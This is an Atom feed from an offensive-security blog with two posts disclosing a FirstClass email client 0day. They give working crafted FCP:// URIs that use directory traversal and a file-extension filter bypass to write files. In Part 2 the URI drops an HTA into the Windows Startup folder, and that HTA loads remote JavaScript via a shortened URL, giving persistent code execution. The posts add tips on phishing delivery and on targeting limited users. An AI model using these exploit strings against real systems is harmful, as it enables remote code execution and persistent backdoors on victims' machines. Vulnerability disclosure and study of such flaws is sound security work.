<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="3.8.5">Jekyll</generator><link href="https://k0ss.net/feed.xml" rel="self" type="application/atom+xml" /><link href="https://k0ss.net/" rel="alternate" type="text/html" /><updated>2019-05-21T03:41:52+00:00</updated><id>https://k0ss.net/feed.xml</id><title type="html">k0ss security</title><subtitle>The goal of this blog is to help advance the state of offensive netsec by giving walkthroughs not just of security flaws I've found, but how I found them as well.</subtitle><entry><title type="html">FirstClass 0day Release (Part 2)</title><link href="https://k0ss.net/firstclass-0day-release-part-2/" rel="alternate" type="text/html" title="FirstClass 0day Release (Part 2)" /><published>2011-04-06T00:00:00+00:00</published><updated>2011-04-06T00:00:00+00:00</updated><id>https://k0ss.net/firstclass-0day-release-part-2</id><content type="html" xml:base="https://k0ss.net/firstclass-0day-release-part-2/">&lt;h1 id=&quot;setbacks-and-bypasses&quot;&gt;Setbacks and bypasses&lt;/h1&gt;
&lt;p&gt;Upon installing the brand new version of FirstClass (v 10.009), I found that they fixed the path length issue, and I could no longer change the extension of the filename by making a very long filename.  Boo!  I didn’t give up, however, because most times if something seems impossible, you just need to give it more time. I had to make this work.  I played around with &lt;code class=&quot;highlighter-rouge&quot;&gt;FCP://&lt;/code&gt; links, and found that you can make these links point to directories inside of the FirstClass server.  For instance: &lt;code class=&quot;highlighter-rouge&quot;&gt;FCP://user:password@fc.server.tld/Mailbox;settings.fc&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;This would open the mailbox of the logged-in user, and create the settings file called &lt;code class=&quot;highlighter-rouge&quot;&gt;settings.fc&lt;/code&gt;.  As I messed around with launching directories within the server, I decided to try changing the &lt;code class=&quot;highlighter-rouge&quot;&gt;settings.fc&lt;/code&gt; at the end of the URI to &lt;code class=&quot;highlighter-rouge&quot;&gt;settings.bat&lt;/code&gt; once again, just for the hell of it.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/blog1_fcfile.jpg&quot; alt=&quot;A BAT file appears even with the &amp;quot;fix&amp;quot;!&quot; /&gt;&lt;/p&gt;

&lt;p&gt;What’s that?  It worked?  I didn’t even have to do the long path trick with this new version, as long as I included some random FC directory name to open at the end of the server part of the URI, I would have control of the extension once again. Now I just needed to craft an exploit out of this.&lt;/p&gt;

&lt;p&gt;Since the settings file has a bunch of bad characters like nulls at the beginning of it that don’t seem to be allowed by the URI parser, I knew I had to find some very loosely typed language which executes on Windows by default with its registered file extension.  That’s when I remembered &lt;code class=&quot;highlighter-rouge&quot;&gt;HTA&lt;/code&gt;.  &lt;code class=&quot;highlighter-rouge&quot;&gt;HTA&lt;/code&gt; stands for &lt;code class=&quot;highlighter-rouge&quot;&gt;HTML Application&lt;/code&gt;, and it uses &lt;code class=&quot;highlighter-rouge&quot;&gt;HTML&lt;/code&gt; tags, but can also run &lt;code class=&quot;highlighter-rouge&quot;&gt;Javascript/VBScript&lt;/code&gt; code without popping up so much as a single &lt;code class=&quot;highlighter-rouge&quot;&gt;Are you sure?&lt;/code&gt; confirmation dialog for the user to agree to, as long as it was created and launched locally.  PERFECT!&lt;/p&gt;

&lt;p&gt;With this knowledge, I knew I had to craft the URI perfectly to arrange the scripting information in order to get proper code execution.  Keep in mind that there are junk characters between the parts of plain-text settings,  there are lots of unusable characters in URIs, and as I would soon find out, there are length limits to the &lt;code class=&quot;highlighter-rouge&quot;&gt;username&lt;/code&gt; and &lt;code class=&quot;highlighter-rouge&quot;&gt;servername&lt;/code&gt; in the URI. If I failed to get around any of these restrictions, the entire exploit would fail, so it was going to take a lot of careful tweaking.&lt;/p&gt;

&lt;h1 id=&quot;shellcoding-tricks-in-the-scripting-world&quot;&gt;Shellcoding tricks in the scripting world&lt;/h1&gt;
&lt;p&gt;After finding and removing the badchars from my crafted URL, and finding that space was very limited, I decided to use some tricks similar to those I learned while making shellcode for previous exploits on binaries written in memory unmanaged languages.  First I will show the completed URI, then I will explain the steps that were used to accomplish the code execution.&lt;/p&gt;

&lt;div class=&quot;language-html highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;fcp://&lt;span class=&quot;nt&quot;&gt;&amp;lt;hta&amp;gt;&amp;lt;script &lt;/span&gt;&lt;span class=&quot;na&quot;&gt;src=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;‘is.gd/9JR6g0’&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;id=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;“s”&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&amp;lt;/script&amp;gt;&lt;/span&gt;@&lt;span class=&quot;nt&quot;&gt;&amp;lt;body&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;onload=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;(s.src=“http”%2bString.fromCharCode(58)%2bString.fromCharCode(47)&lt;/span&gt;
&lt;span class=&quot;err&quot;&gt;%&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;2BString&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;fromCharCode&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;47&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;)%&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;2Bs&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;src&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;/j;%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cAll%20Users\Start Menu%5cPrograms%5cStartup%5ca%2ehta
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The first part,&lt;/p&gt;
&lt;div class=&quot;language-html highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;fcp://&lt;span class=&quot;nt&quot;&gt;&amp;lt;hta&amp;gt;&amp;lt;script &lt;/span&gt;&lt;span class=&quot;na&quot;&gt;src=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;‘is.gd/9JR6g0’&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;id=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;“s”&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;This pulls a JavaScript file from a server and includes it in the produced file. Since I had very limited space, I couldn’t fit the entire JavaScript source into the &lt;code class=&quot;highlighter-rouge&quot;&gt;username&lt;/code&gt; field, and instead I used the url shortening service with the fewest characters as I could find to redirect to the JavaScript file. Also, you’ll notice that there is no &lt;code class=&quot;highlighter-rouge&quot;&gt;http://&lt;/code&gt; at the beginning of the address. This is because the characters &lt;code class=&quot;highlighter-rouge&quot;&gt;:&lt;/code&gt; and &lt;code class=&quot;highlighter-rouge&quot;&gt;/&lt;/code&gt; are some of the badchars that would be transformed since they were in the &lt;code class=&quot;highlighter-rouge&quot;&gt;username&lt;/code&gt; field. However, in order to include a script from an external site, I needed to specify the protocol.&lt;/p&gt;

&lt;p&gt;In order to do this, I gave the script tag an &lt;code class=&quot;highlighter-rouge&quot;&gt;id&lt;/code&gt; of &lt;code class=&quot;highlighter-rouge&quot;&gt;s&lt;/code&gt; and later on, I reference it.&lt;/p&gt;

&lt;div class=&quot;language-html highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nt&quot;&gt;&amp;lt;body&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;onload=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;(s.src=”http”%2bString.fromCharCode(58)%2b&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;fromCharCode&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;47&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;)%&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;2BString&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;fromCharCode&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;47&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;)%&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;2Bs&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;src&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This part is where I thought of previous techniques used in shellcoding, in particular &lt;em&gt;egghunting&lt;/em&gt;. This usually means searching for a &lt;em&gt;signature&lt;/em&gt; (egg), a pre-established sequence of bytes, through tons of junk assembly code and data and executing the shellcode next to it once we find it. Since JavaScript is an interpreted, object oriented language it’s as simple as giving that &lt;code class=&quot;highlighter-rouge&quot;&gt;&amp;lt;script&amp;gt;&lt;/code&gt; tag an &lt;code class=&quot;highlighter-rouge&quot;&gt;id&lt;/code&gt; of &lt;code class=&quot;highlighter-rouge&quot;&gt;s&lt;/code&gt; and referencing it later in the &lt;code class=&quot;highlighter-rouge&quot;&gt;server-name&lt;/code&gt; part of the URI and add the &lt;code class=&quot;highlighter-rouge&quot;&gt;http://&lt;/code&gt; part to the url to make it a valid &lt;code class=&quot;highlighter-rouge&quot;&gt;src&lt;/code&gt; attribute.&lt;/p&gt;

&lt;p&gt;It took a lot of trial and error to find all the character/length limitations and get everything working. Remember also that to allow us to arbitrarily name the settings file, we have to include a FirstClass server path, so I used &lt;code class=&quot;highlighter-rouge&quot;&gt;/j&lt;/code&gt; in this example to keep it short.  The character used makes no difference.&lt;/p&gt;

&lt;p&gt;The final trick while figuring out where to put the settings file is to answer the question, “How do we get this &lt;code class=&quot;highlighter-rouge&quot;&gt;HTA&lt;/code&gt; file to execute without the user being aware?”  I mean, sure we can drop this file somewhere, but the user isn’t (usually) going to click some strange file they’ve never heard of.  However there are some folders as you may know which will automatically launch whatever files are put into them, as soon as the computer boots up.  Knowing the default location that FirstClass saves settings files to is &lt;code class=&quot;highlighter-rouge&quot;&gt;My Documents\FirstClass\Settings\&lt;/code&gt;, I used &lt;em&gt;directory traversal&lt;/em&gt; to put our &lt;code class=&quot;highlighter-rouge&quot;&gt;HTA&lt;/code&gt; file into the startup folder (&lt;code class=&quot;highlighter-rouge&quot;&gt;C:\Documents and Settings\All Users\Start Menu\Programs\Startup\&lt;/code&gt;) so that it will start up as soon as ANYONE logs into the computer.&lt;/p&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cAll%20Users%5cStart Menu%5cPrograms%5cStartup%5ca%2ehta
=
..\..\..\..\All Users\Start Menu\Programs\Startup\a.hta
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;This assumes that the user is a computer administrator.  If you suspect that your target is computer savvy and has created his or her account as a limited user, you can just as easily drop the file in the &lt;code class=&quot;highlighter-rouge&quot;&gt;%userprofile%\Start Menu\Programs\Startup&lt;/code&gt; by specifying a settings path of:&lt;/p&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;%2e%2e%5C%2e%2e%5C%2e%2e%5CStart%20Menu%5CPrograms%5CStartup%5ca%2ehta
=
..\..\..\Start Menu\Programs\Startup\a.hta
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;and it will only start up when the exploited user logs in.&lt;/p&gt;

&lt;p&gt;Deploying this would be a matter of phishing to get the user to click the link. Newer versions of FirstClass have HTML parsers which will actually execute JavaScript (believe it or not) so you could perhaps have the “clicking” be done without the user’s interaction, but I’ll leave that vector as a fun exercise for my dear reader.&lt;/p&gt;

&lt;p&gt;Thanks for reading!&lt;/p&gt;</content><author><name></name></author><category term="firstclass" /><category term="opentext" /><category term="fcp" /><category term="email" /><category term="URI handlers" /><category term="logic" /><summary type="html">...and then an arbitrary file overwrite turned into code execution and persistent backdoor.</summary></entry><entry><title type="html">FirstClass 0day Release (Part 1)</title><link href="https://k0ss.net/firstclass-0day-release-part-1/" rel="alternate" type="text/html" title="FirstClass 0day Release (Part 1)" /><published>2011-04-05T00:00:00+00:00</published><updated>2011-04-05T00:00:00+00:00</updated><id>https://k0ss.net/firstclass-0day-release-part-1</id><content type="html" xml:base="https://k0ss.net/firstclass-0day-release-part-1/">&lt;h1 id=&quot;intro&quot;&gt;Intro&lt;/h1&gt;
&lt;p&gt;Hello all,and welcome to my blog.  I am new to the full-disclosure world, though I have spent a lot of time finding exploits in the past.  First of all, thank you very much for reading my first article. I hope you find it informative, and if you have any questions, feel free to leave me a comment.&lt;/p&gt;

&lt;p&gt;Today I am releasing an exploit I found three months ago in the First Class email client created by the company OpenText.  This exploit allows remote code to be executed against anyone using the FirstClass system, with a very small amount of user interaction.  The code would be executed with the same privileges as the user who launched FirstClass.  It could be tweaked so that it affects all users on Windows, but then it could have broken the exploit if the current user didn’t have administrator privileges.&lt;/p&gt;

&lt;h1 id=&quot;about-the-bug&quot;&gt;About the Bug&lt;/h1&gt;
&lt;p&gt;It all started when I learned that you could create a settings file for someone by having them click on a specially formatted &lt;code class=&quot;highlighter-rouge&quot;&gt;FCP://&lt;/code&gt; URI link.  It would look like &lt;code class=&quot;highlighter-rouge&quot;&gt;FCP://user:password@fc.server.tld;settings.fc&lt;/code&gt; and would produce a &lt;code class=&quot;highlighter-rouge&quot;&gt;settings.fc&lt;/code&gt; file in the application’s &lt;code class=&quot;highlighter-rouge&quot;&gt;settings&lt;/code&gt; folder that looked like this in a hex editor:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://k0ss.net/assets/img/blog0_fcfile.jpg&quot; alt=&quot;FC Settings File&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;unsanitized-user-input-in-file&quot;&gt;Unsanitized User Input in File&lt;/h3&gt;
&lt;p&gt;From that, we can see that we can set a username and password, both of which would be written into the settings file.  The password is not put into the settings file in plain-text for obvious security reasons, but the username and server name is.&lt;/p&gt;

&lt;h3 id=&quot;arbitrary-file-name&quot;&gt;Arbitrary File Name&lt;/h3&gt;
&lt;p&gt;We can also see that the server name is ended with a semicolon, and what follows is the desired name of the settings file.  I played around with this part the most, and found that directory traversal is possible, so something like &lt;code class=&quot;highlighter-rouge&quot;&gt;;../settings.fc&lt;/code&gt; would escape the current folder used to store the settings files, and put it in the folder above it.  I tried to change the name of the file to &lt;code class=&quot;highlighter-rouge&quot;&gt;settings.exe&lt;/code&gt; as a test.  I had no luck since FirstClass checks to make sure that the file name ends in &lt;code class=&quot;highlighter-rouge&quot;&gt;.FC&lt;/code&gt; and if not, it appends &lt;code class=&quot;highlighter-rouge&quot;&gt;.FC&lt;/code&gt; to the file names for security and functionality purposes.&lt;/p&gt;

&lt;h3 id=&quot;file-name-filter-bypass&quot;&gt;File Name Filter Bypass&lt;/h3&gt;
&lt;p&gt;While experimenting with different file names, I tried making increasingly large settings file names, and noticed that with a certain length, the &lt;code class=&quot;highlighter-rouge&quot;&gt;.FC&lt;/code&gt; extension that FirstClass tries to append was not being appended!  So next, I gave the settings file a name just long enough to fit the filename along with the extension &lt;code class=&quot;highlighter-rouge&quot;&gt;.exe&lt;/code&gt;, and then I appended &lt;code class=&quot;highlighter-rouge&quot;&gt;.fc&lt;/code&gt; to the end of it to satisfy FirstClass and its extension check.  To my excitement, the &lt;code class=&quot;highlighter-rouge&quot;&gt;.exe&lt;/code&gt; file extension stayed, so I now could control the extension/type of file created by FirstClass.&lt;/p&gt;

&lt;p&gt;So now that I knew that the username and server name are stored in plain-text within the settings file, along with how I could set the file extension to whatever I wanted and use directory traversal to place it wherever I wanted, I tested creating an arbitrary file outside of the main settings directory.  Here is the link I used to trigger the vulnerability and write an executable file to another directory:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;FCP://%22%0d%0acalc%0d%0a@fc.server.tld;..\aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.bat
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This just pops the calculator up, and it isn’t very stealthy as you will get a large command prompt which opens before the intended program (calc) opens.  I’ll improve the exploit in the next post.&lt;/p&gt;

&lt;h1 id=&quot;disclosure-process&quot;&gt;Disclosure Process&lt;/h1&gt;
&lt;p&gt;Prior to deciding to publish the vulnerability and how someone can exploit it, I contacted OpenText twice via every email address they’ve given on their website, as well as some default security/bug email addresses that most companies have set up (security@[company_name], etc).  I gave them a week to respond each time, and they chose not to, so I’ve chosen to release it since this was pretty easy to find.&lt;/p&gt;</content><author><name></name></author><category term="firstclass" /><category term="opentext" /><category term="email" /><category term="logic" /><category term="fcp" /><summary type="html">It all started when I learned that you could create a settings file for someone by having them click on a specially formatted FCP:// URI link.</summary></entry></feed>